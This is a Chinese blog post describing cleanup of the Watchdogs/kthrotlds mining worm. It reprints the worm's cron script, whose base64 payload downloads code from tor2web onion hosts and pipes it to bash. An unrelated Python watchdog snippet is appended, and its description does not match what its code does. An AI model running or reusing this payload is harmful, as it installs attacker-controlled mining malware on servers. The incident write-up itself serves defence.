解决Watchdogs 、kthrotlds 挖矿蠕虫

在最近开发项目部署过程中,发现项目运行缓慢,人员数过多情况下系统卡死。
查看服务器,top命令发现服务器中毒
中毒了crontab -l 命令后发现也存在定时调度,打开定时调度文件/root/.systemd-init
发现文件为base64编码,我靠。文件如下:
#!/bin/bash
exec &>/dev/null
sleep 119
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tMTgwIC1mc1NMa0EtICQxJHgKfQppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzApL2lvOyB0aGVuCigKdSBpbnRlbGJhZ2pvcDduem01LnRvcjJ3ZWIuaW8gfHwKdSBpbnRlbGJhZ2pvcDduem01LmQyd2ViLm9yZyB8fAp1IGludGVsYmFnam9wN256bTUub25pb24uaW4ubmV0IHx8CnUgaW50ZWxiYWdqb3A3bnptNS5vbmlvbi5nbGFzcyB8fAp1IGludGVsYmFnam9wN256bTUub25pb24ubW4gfHwKdSBpbnRlbGJhZ2pvcDduem01Lm9uaW9uLnNoIHx8CnUgaW50ZWxiYWdqb3A3bnptNS5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash
不要紧,解码看看源码
解码定时文件意思明确,查找文件是否存在,不存在就下载一堆东西到/tmp下面。对于菜鸟的我,直接kill 病毒进程,直接删掉/tmp下的所有内容.crontab -r 删掉定时调度,删掉这个定时文件/root/.systemd-init。但是跟踪了一下,20分钟后又给启动了。
ps -ef 病毒进程,看不到病毒文件所在位置,很困惑,怀疑病毒劫持了ps命令。
折腾很久,百度一下发现这是2019年2月爆发的Watchdogs 、kthrotlds 挖矿蠕虫
git上给出如下解决方案,终于搞定,两个脚本完成,如果在执行脚本中发现不能执行的问题,请用chattr -i 不能执行的文件。
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您可以使用多个看门狗实例来监视多个任务。每个看门狗实例都应该有自己的名称和超时时间。您可以使用一个循环来定期检查每个任务的状态,并在任务超时时重新启动它们。以下是一个示例代码片段,用于同时监视两个任务: ```python import threading import time from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class WatchdogHandler(FileSystemEventHandler): def __init__(self, task_name, timeout): self.task_name = task_name self.timeout = timeout self.last_seen = time.time() def on_any_event(self, event): self.last_seen = time.time() def task1(): # Task 1 code here pass def task2(): # Task 2 code here pass if __name__ == '__main__': watchdogs = [ WatchdogHandler('Task 1', 60), WatchdogHandler('Task 2', 120) ] observers = [ Observer(), Observer() ] observers[0].schedule(watchdogs[0], path='.', recursive=True) observers[1].schedule(watchdogs[1], path='.', recursive=True) observers[0].start() observers[1].start() while True: for i, watchdog in enumerate(watchdogs): if time.time() - watchdog.last_seen > watchdog.timeout: observers[i].stop() observers[i].join() observers[i] = Observer() observers[i].schedule(watchdog, path='.', recursive=True) observers[i].start() time.sleep(1) ``` 这里我们创建了两个看门狗实例,一个用于监视任务1,另一个用于监视任务2。每个看门狗实例都有自己的超时时间。在主循环中,我们定期检查每个看门狗的最后一次看到的时间,如果超过超时时间,我们就重新启动相应的任务。请注意,这只是一个简单的示例代码片段,您可能需要根据自己的需求进行修改。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值